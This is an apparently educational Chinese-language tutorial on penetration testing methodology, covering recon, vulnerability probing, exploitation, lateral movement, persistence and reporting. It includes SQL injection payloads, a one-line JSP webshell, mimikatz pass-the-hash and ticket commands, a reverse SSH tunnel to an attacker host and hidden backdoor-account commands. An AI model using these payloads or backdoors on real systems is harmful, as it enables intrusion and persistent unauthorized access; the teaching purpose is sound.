Skip to content

渗透测试方法论

「我宁愿被黑客攻击一次,也不愿在真正的攻击来临时毫无准备。」

这句话道出了渗透测试的核心价值:用可控的攻击,换取不可控攻击的免疫能力。

但渗透测试不是拿着工具乱扫一通,更不是「黑客入门教学」。它是一套科学的方法论,每一个阶段都有明确的目标和产出。

什么是渗透测试

渗透测试(Penetration Testing,简称 Pentest)是通过模拟黑客的攻击手法,对目标系统进行安全测试的过程。与漏洞扫描不同,渗透测试不仅发现漏洞,还要验证漏洞是否可以被利用,并尝试获取更高的权限。

渗透测试的三大特点:

  1. 授权性:必须在明确的授权范围内进行,否则就是违法行为
  2. 可控性:测试过程可随时终止,不会对目标系统造成永久性破坏
  3. 目的性:最终目标是提升安全性,而非展示攻击能力

渗透测试 vs 漏洞扫描:

对比维度渗透测试漏洞扫描
执行方式人工 + 工具,深入分析工具自动化,快速发现
发现深度可发现业务逻辑漏洞、认证绕过等主要发现技术层面漏洞
风险程度可控,但可能影响业务无风险扫描
报告价值高,含攻击路径和利用证明中,仅提供漏洞列表

渗透测试方法论

业界主流的渗透测试方法论有三个:

  1. PTES(Penetration Testing Execution Standard):最全面,涵盖 7 个阶段
  2. OWASP Testing Guide:专注 Web 应用安全
  3. NIST SP 800-115:美国国家标准与技术研究院发布,偏向合规

不管哪种方法论,核心流程都是相通的:信息收集 → 威胁建模 → 漏洞分析 → 漏洞利用 → 后渗透 → 报告输出

阶段一:信息收集

「知己知彼,百战不殆。」渗透测试的第一步,是收集一切可能有助于攻击的信息。

被动信息收集

不直接接触目标,通过公开渠道获取信息:

1. OSINT(开源情报)

java
// 信息收集的典型目标
public class OsintTargets {
    // 域名信息
    String domain = "example.com";
    String subdomains[] = {"www", "mail", "blog", "api", "admin"};

    // 技术栈指纹
    String[] webServers = {"nginx", "apache", "iis"};
    String[] cms = {"wordpress", "dedecms", "discuz"};

    // 人员信息
    String[] emails = {"admin@example.com", "tech@example.com"};

    // 公开泄露的敏感信息
    String[] leakedData = {
        "GitHub 源码泄露",
        "网盘文件泄露",
        "社工库信息"
    };
}

常用工具:

工具用途
Whois域名注册信息查询
Sublist3r子域名枚举
Shodan互联网资产搜索引擎
ZoomEye国内网络空间搜索引擎
CensysSSL 证书查询
theHarvester邮箱收集

主动信息收集

直接与目标交互,需要注意频率,避免触发安全设备:

1. 端口扫描

bash
# TCP 全连接扫描(最准确,但速度慢)
nmap -sT -p 1-10000 target.com

# SYN 扫描(速度快,需要 root 权限)
nmap -sS -p 1-10000 target.com

# UDP 扫描(速度慢)
nmap -sU target.com

# 服务版本检测
nmap -sV target.com

# 操作系统指纹识别
nmap -O target.com

2. 指纹识别

识别目标使用的技术栈:

  • Web 服务器类型(nginx、Apache、IIS)
  • 编程语言(PHP、Java、Python、ASP.NET)
  • 框架(Spring、Django、ThinkPHP)
  • 中间件(Tomcat、JBoss、WebLogic)
  • 数据库(MySQL、PostgreSQL、MongoDB)
bash
# WhatWeb 指纹识别
whatweb -v target.com

# Wappalyzer 浏览器插件
# 在线版:https://www.wappalyzer.com/

# 自行开发指纹识别
curl -I http://target.com  # 查看响应头

阶段二:威胁建模

基于收集到的信息,分析可能的攻击路径。

绘制攻击面图

[外网入口点]

    ├─→ Web 应用(80/443)
    │      ├─→ 管理后台(/admin)
    │      ├─→ API 接口(/api/v1)
    │      └─→ 文件上传(/upload)

    ├─→ 邮件服务(25/465/993)

    ├─→ VPN 服务(443)

    └─→ DNS 服务(53)

            └─→ 内网 DNS
                    └─→ 域控制器

识别高价值目标

目标类型优先级原因
登录认证系统⭐⭐⭐⭐⭐入口点,获取凭证后可横向移动
数据库⭐⭐⭐⭐⭐数据资产核心
管理员后台⭐⭐⭐⭐高权限入口
API 接口⭐⭐⭐⭐业务逻辑漏洞集中地
文件上传功能⭐⭐⭐可能实现 RCE

阶段三:漏洞探测

针对识别出的攻击面,使用各种技术手段探测漏洞。

OWASP Top 10 是基础

OWASP Top 10 (2021)
├── A01:2021 - 访问控制失效
├── A02:2021 - 加密失败
├── A03:2021 - 注入
├── A04:2021 - 不安全设计
├── A05:2021 - 安全配置错误
├── A06:2021 - 易受攻击和过时的组件
├── A07:2021 - 身份识别和身份验证失败
├── A08:2021 - 软件和数据完整性失败
├── A09:2021 - 安全日志和监控失败
└── A10:2021 - 服务器端请求伪造(SSRF)

漏洞探测技术

1. 漏洞扫描器

bash
# AWVS(Acunetix)Web 漏洞扫描
# 付费软件,Web 安全扫描标杆

# Burp Suite Professional
# Web 渗透测试必备工具
# Scanner 模块可自动发现漏洞

# Nessus 漏洞扫描
# 系统层漏洞扫描
nessuscli scan --policy basic --target target.com

2. 手工测试

java
// SQL 注入测试示例
public class SqlInjectionTest {
    // 测试 payload
    String[] payloads = {
        "'",              // 基础测试
        "' OR '1'='1",    // 恒真
        "' OR 1=1--",     // MySQL 注释
        "admin'--",       // 认证绕过
        "1' AND SLEEP(5)--", // 时间盲注
    };

    // 测试参数
    String[] testParams = {
        "id", "page", "search",
        "username", "password",
        "email", "sort"
    };

    // 检测特征
    String[] errorSignatures = {
        "mysql_fetch",
        "ORA-01756",
        "Microsoft SQL Native Client error",
        "PostgreSQL query failed"
    };
}

3. 业务逻辑漏洞

技术漏洞有工具可以发现,但业务逻辑漏洞必须靠人脑:

java
// 业务逻辑漏洞示例
public class BusinessLogicVulns {
    // 1. 负值购买
    // 攻击者构造金额为负数的订单,商品数量增加
    void negativePurchase(int productId, BigDecimal amount) {
        if (amount.compareTo(BigDecimal.ZERO) < 0) {
            throw new IllegalArgumentException("金额不能为负");
        }
        // 漏洞:如果没有前端校验,攻击者可能绕过
    }

    // 2. 越权访问
    // 用户 A 访问用户 B 的订单
    Order getOrder(Long orderId) {
        Order order = orderRepository.findById(orderId);
        // 漏洞:没有校验 order.userId == currentUser.id
        return order;
    }

    // 3. 竞争条件(Race Condition)
    // 秒杀场景:两人同时抢购最后一个商品
    void seckill(Long userId, Long productId) {
        // 漏洞:如果不加分布式锁,可能超卖
        if (product.getStock() > 0) {
            product.setStock(product.getStock() - 1);
            productRepository.save(product);
            createOrder(userId, productId);
        }
    }
}

阶段四:漏洞利用

发现漏洞后,验证其可利用性,并尝试获取更高权限。

获取 Shell

Webshell 上传:

java
// 恶意 Webshell 示例(仅供理解原理)
public class WebshellExample {
    // JSP Webshell
    String jspShell = "<%\n" +
        "Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
    "%>";

    // 冰蝎(Behinder)连接特征
    // 流量经过 AES 加密,常规 WAF 难以检测

    // 蚁剑(AntSword)连接特征
    // 默认连接密码:PASS
    // 流量有明显特征:base64 + 特定分隔符
}

横向移动

获取初始立足点后,向内网扩展:

1. 凭证传递(Pass the Hash)

bash
# Windows 环境中,直接使用 NTLM Hash 进行认证
# 无需明文密码
sekurlsa::pth /user:admin /rc4:NTLM_HASH /domain:target.local

2. 哈希传递(Pass the Ticket)

bash
# Kerberos 环境下,窃取 TGT 进行横向移动
# 需要管理员权限
mimikatz # sekurlsa::tickets /export

# 使用窃取的 TGT 访问其他服务
mimikatz # kerberos::ptt [ticket_file]

3. 端口转发与隧道

bash
# SSH 隧道建立
# 正向隧道:攻击机访问内网服务
ssh -L 8080:target内网:80 user@gateway

# 反向隧道:内网主机反向连接攻击机
ssh -R 8080:localhost:80 attacker@your_ip

# Metasploit 端口转发
meterpreter > portfwd add -l 3389 -p 3389 -r target_ip

阶段五:权限维持

完成渗透后,需要建立持久化通道,防止失去访问权限。

常见持久化技术

技术描述检测难度
后门账号创建隐藏的管理员账户
计划任务定时执行恶意脚本
服务启动项系统服务持久化
WebshellWeb 层后门
Rootkit内核级隐藏
黄金/白银票据Kerberos 票据伪造
java
// Windows 持久化示例
public class PersistenceExample {
    // 创建隐藏用户
    void createBackdoorUser() {
        // net user hack$ StrongPass123 /add
        // net localgroup administrators hack$ /add
        // 通过用户名末尾加 $ 可以在 net user 时隐藏
    }

    // 注册表持久化
    void registryPersistence() {
        // HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
        // 添加启动项
    }

    // 计划任务
    void scheduledTask() {
        // schtasks /create /tn "Update" /tr "恶意程序路径" /sc hourly
    }
}

阶段六:清理与报告

痕迹清理

渗透测试完成后,需要清理留下的痕迹:

  • 删除上传的 webshell
  • 恢复修改的配置文件
  • 清除日志中的攻击痕迹
  • 移除创建的测试账户

渗透测试报告

一份合格的渗透测试报告应该包含:

1. 执行摘要

项目名称:XXX 系统渗透测试报告
测试时间:2024-XX-XX
测试范围:外网 Web 应用 + 内网域环境
发现高危漏洞:3 个
发现中危漏洞:5 个
发现低危漏洞:8 个
整体风险评级:高

2. 漏洞详情(每个漏洞)

漏洞名称:SQL 注入
漏洞位置:/product?id=1
漏洞等级:高危(CVSS 8.2)
漏洞描述:参数 id 未做过滤,可注入 SQL 语句
复现步骤:
  1. 访问 /product?id=1' 
  2. 页面报错,暴露 SQL 语句结构
  3. 使用 UNION 注入获取数据库版本
影响范围:所有使用该参数的功能点
修复建议:对参数进行严格过滤,使用参数化查询

总结

渗透测试是一项系统性工作,需要技术知识、经验积累和安全意识的综合运用。

核心要点回顾:

  1. 信息收集决定渗透测试的深度,越全面的信息收集越容易发现漏洞
  2. 漏洞利用需要理解漏洞原理,不能只会用工具
  3. 横向移动是提升测试价值的关键,只拿下一台主机意义有限
  4. 权限维持展示攻击者的持久化能力,是真实攻击的常见特征
  5. 报告输出是测试成果的最终呈现,直接影响修复效果

渗透测试的最终目的不是「攻破」系统,而是通过「攻」的过程,让防御者知道哪里需要加固。

面试追问方向

  • 渗透测试和红队演练有什么区别?
  • 你如何绕过 WAF 进行 SQL 注入测试?
  • 拿到 Webshell 后,你会如何进行权限提升?
  • 内网渗透中,如何发现域控制器?
  • 黄金票据和白银票据的区别是什么?

基于 VitePress 构建